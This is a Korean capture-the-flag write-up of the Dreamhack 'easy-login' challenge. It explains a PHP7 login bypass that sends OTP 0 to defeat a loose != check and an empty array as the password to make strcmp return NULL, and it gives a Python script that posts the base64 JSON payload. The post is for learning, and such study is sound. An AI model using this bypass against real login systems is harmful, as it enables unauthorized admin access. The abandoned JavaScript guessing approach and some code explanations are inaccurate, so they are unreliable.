[드림핵] easy-login

SONG's 보안·2024년 5월 19일

드림핵

목록 보기
32/33
post-thumbnail

https://dreamhack.io/wargame/challenges/1213


일단 들어가면 이런 창이 떠있다.

못보던 인증키인 OTP가 생겼다.
주어진 소스코드를 들여다보았다.

<?php

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

$admin_pw = generatePassword(32);
$otp = generateOTP();

function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

?>

이 코드에 대해 설명해보자면

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

0123456789abcdef(16진수)중 랜덤함수를 이용해 $charactersLength - 1개의 자리 수를 가진 password를 생성한다.

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

0에서 999999 사이의 숫자를 생성 후 앞에 P를 붙인다.
만약 6자리가 안되면 맨 앞에 0을 붙여준다.

function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

credbase64로 인코딩된 JSON 문자열이다.
idadmin이 아닌 경우 환영 메시지를 출력한다.
otp가 전역 변수 $otp와 일치하지 않으면 "OTP fail" 메시지를 출력한다.
패스워드가 전역 변수 $admin_pw와 일치하면, flag.php를 출력한다.

여기에서 가장 중요한 점은 php 언어를 javascript 언어로 바꾼다는 점이다.

내가 생각하기에 OTP를 알아낼 수 있는 코드를 콘솔 창에 작성하여 알아낸 후, 비밀번호도 똑같이 알아내면 되지 않을까 라는 생각이 들었다.

아래는 랜덤한 OTP와 password를 알아내는 javascript 코드이다.

function generatePassword(length) {
    var characters = '0123456789abcdef';
    var charactersLength = characters.length;
    var pw = '';
    for (var i = 0; i < length; i++) {
        pw += characters[Math.floor(Math.random() * charactersLength)];
    }
    return pw;
}

// 이제 이 함수를 사용해서 비밀번호를 생성할 수 있습니다.
var password = generatePassword(10);
console.log(password);

// OTP 생성 및 검증 코드는 동일하게 유지됩니다.
function generateOTP() {
    return 'P' + String(Math.floor(Math.random() * 1000000)).padStart(6, '0');
}
var otp = generateOTP();

// input을 OTP 값과 동일하게 설정 (테스트를 위해)
var input = otp;

// otp와 input 비교
if (otp === input) {
    console.log("true");
} else {
    console.log("false");
}

console.log(otp);
console.log(typeof otp);

이렇게 해서 찾아낸 다음 입력해보았지만..
어째서인지 OTP fail이 뜬다..

알고보니 이 문제는 php 우회해서 풀어야하는 문제였다.

https://www.php.net/manual/en/types.comparisons.php

위 사이트를 참고해 풀면된다.

주어진 php코드의 취약점은 바로 !=strcmp()였다.

if ($cred['otp'] != $GLOBALS['otp'])

$cred['otd']에 정수를 입력하면, 비교 연산을 수행하기 위해 $otp가 정수로 형변환 된다.

$otp는 항상 P로 시작하므로 해당 값을 정수를 형변환한 값은 언제나 0이 된다.
--> 그래서 0을 대입하면 우회 가능

strcmp()는 문자열만을 받지만, 이외 타입이 입력되면, 사용자가 의도하지 않은 동작을 일으킨다.
특히, 배열이 입력되면 NULL을 반환한다.

주어진 docherfile을 보면 php7이 사용된다.

--> NULL에 not 연산자를 적용하면 true이므로$cred['pw']에 배열 값을 대입하면 우회 가능

최종 소스 코드는 이렇다.

import requests
import json
import base64

url = '드림핵 주소'
payload = {
    "id": "admin",
    "pw": [],
    "otp": 0
}
data = {'cred': base64.b64encode(json.dumps(payload).encode()).decode()}
resp = requests.post(url, data=data)
print(resp.text)

실행결과 flag가 나오는 것을 확인했다.

기존의 ctf 문제들은 해당 서버안에서 푸는 문제가 많았는데, 이번 문제는 서버를 활용하지 않고 vdcode를 이용한다는 점을 통해 이런 문제도 있다라고 알게되어서 알찼던 것 같다.

profile
前) SWLUG 27기

0개의 댓글